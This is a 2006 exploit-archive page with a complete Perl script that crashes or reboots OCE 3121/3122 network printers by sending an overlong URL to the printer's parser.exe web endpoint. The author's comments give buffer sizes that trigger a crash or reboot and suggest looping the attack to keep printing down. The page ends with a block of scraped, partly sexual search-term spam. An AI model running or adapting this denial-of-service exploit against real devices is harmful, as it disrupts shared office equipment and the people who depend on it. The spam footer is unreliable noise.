about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , OCE 3121/3122 Printer (parser.exe) Denial of Service Exploit




2006-04-26 OCE 3121/3122 Printer (parser.exe) Denial of Service Exploit
Rated as : Moderate Risk

#!/usr/bin/perl
#
#OCE 3121/3122 Printer DoS Exploit
#----------------------------
#By Herman Groeneveld aka sh4d0wman
#trancelover75 [AT] gmail.com
#
#Description: the printer runs a webserver to provide various printing
tasks from
#java enabled browsers. Input is being filtered for bad characters.
#However it is vulnerable to a long url request. This will either reboot
or crash the device.
#
#On crash, the "system" led on the printer changes from green to
orange. No further printing is done
#until somebody resets the printer by flipping the powerswitch. E675 error
displayed in printer display.
#On reboot, printing resumes after the device has completed it's reboot
cycle.
#
#Crash is hard to accomplish. Play with the buffer input size. 261 worked
at my printer. 
#Values of 250/500/50000 are known to reboot the printer. No reliable size
for crashing yet.
#
#Loop this exploit and printing will be nearly impossible. Tested: unhappy
users. Not implemented. 
#
#If you test this on your device, pls let me know the result. I had just 1
printer to test it at ;)
#
#Discovered: 29/03/2006
#Target: tested against OCE 3121/3122 printer. 
#Vendor: www.oce.com (no response)

	use IO::Socket;

	if (@ARGV != 3)
	{
	print "                                        			      \n";
	print "   	#OCE 3121/3122 Printer DoS Exploit#  		      \n";
	print
"---------------------------------------------------------------\n";
	print " Usage: crashoce.pl <target ip> <target port>
<request length> \n";
	print " Example: new.pl 127.0.0.1 80 250 		              \n";
	print " Play with request length for reboot or crash effect. 	     
\n\n";
	print "      	#Coded by sh4d0wman 31/03/2006#			      \n";
	exit(1);
	}	

	$targetip =$ARGV[0]; #user input, no much fun in attacking 127.0.0.1 is
it?
	$targetport =$ARGV[1]; #user input since vendor might change this some
day, unlikely though  :-)
	$reqlength = $ARGV[2]; #user input since different sizes give different
results

	print "[-] OCE 3122 Printer DoS Exploit\n\n";
	print "[-] Target IP: ";
	print $targetip;
	print "\n[-] Connecting to target IP...\n";

$socket = IO::Socket::INET->new(
	Proto => "tcp",
	PeerAddr => "$targetip",
	PeerPort => "$targetport"); unless ($socket) { die "-
Could not connect. Check IP & 		port. Hint: default port is 80!\n"}

print "[-] Connected to printer\n\n";

print "[-] Creating DoS request...\n";

$bufa='A'x$reqlength; #creating payload, length based on user input

print "[-] Sending request...\n\n";

print $socket "GET /parser.exe?".$bufa.".html"."
HTTP/1.1\r\n\r\n";
	sleep 5; #Be advised! Printer reaction to exploit can take up to 30 sec.
Pls, be patient...

print "[>]Attack completed! Printer in error state or
rebooting.\n";
close($socket);


securitydot.net - 2006-04-26

Advertising

Copyright 2007, SecurityDot
Wed, 03 Dec 2008 08:58:28 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
www.kar20_ local priv Www.asians shop cfm chatline sex+gril secur None username 200 /compo search/exp news for c 200 /compo Tamil sex TRISHA SEX gujarathi 17 ABG www.xlxl.c Sex arbic ANGELINA J www.89 sex securitydo Www.dog.se w w w .s e Sexvedio Downloadss WWW.SEXE.C belladonna inurl:?url www.89 sex port 445 windows xp W.w.w.nesa www.pornnu www.168ke. mambo Remo 200 /compo bod.jojo Www.89ers. Blue Coat www.yotub. fghfg w w sex co Phonneroti video sex Securitynu Sexpornogr news for c TOPGIRLS mtr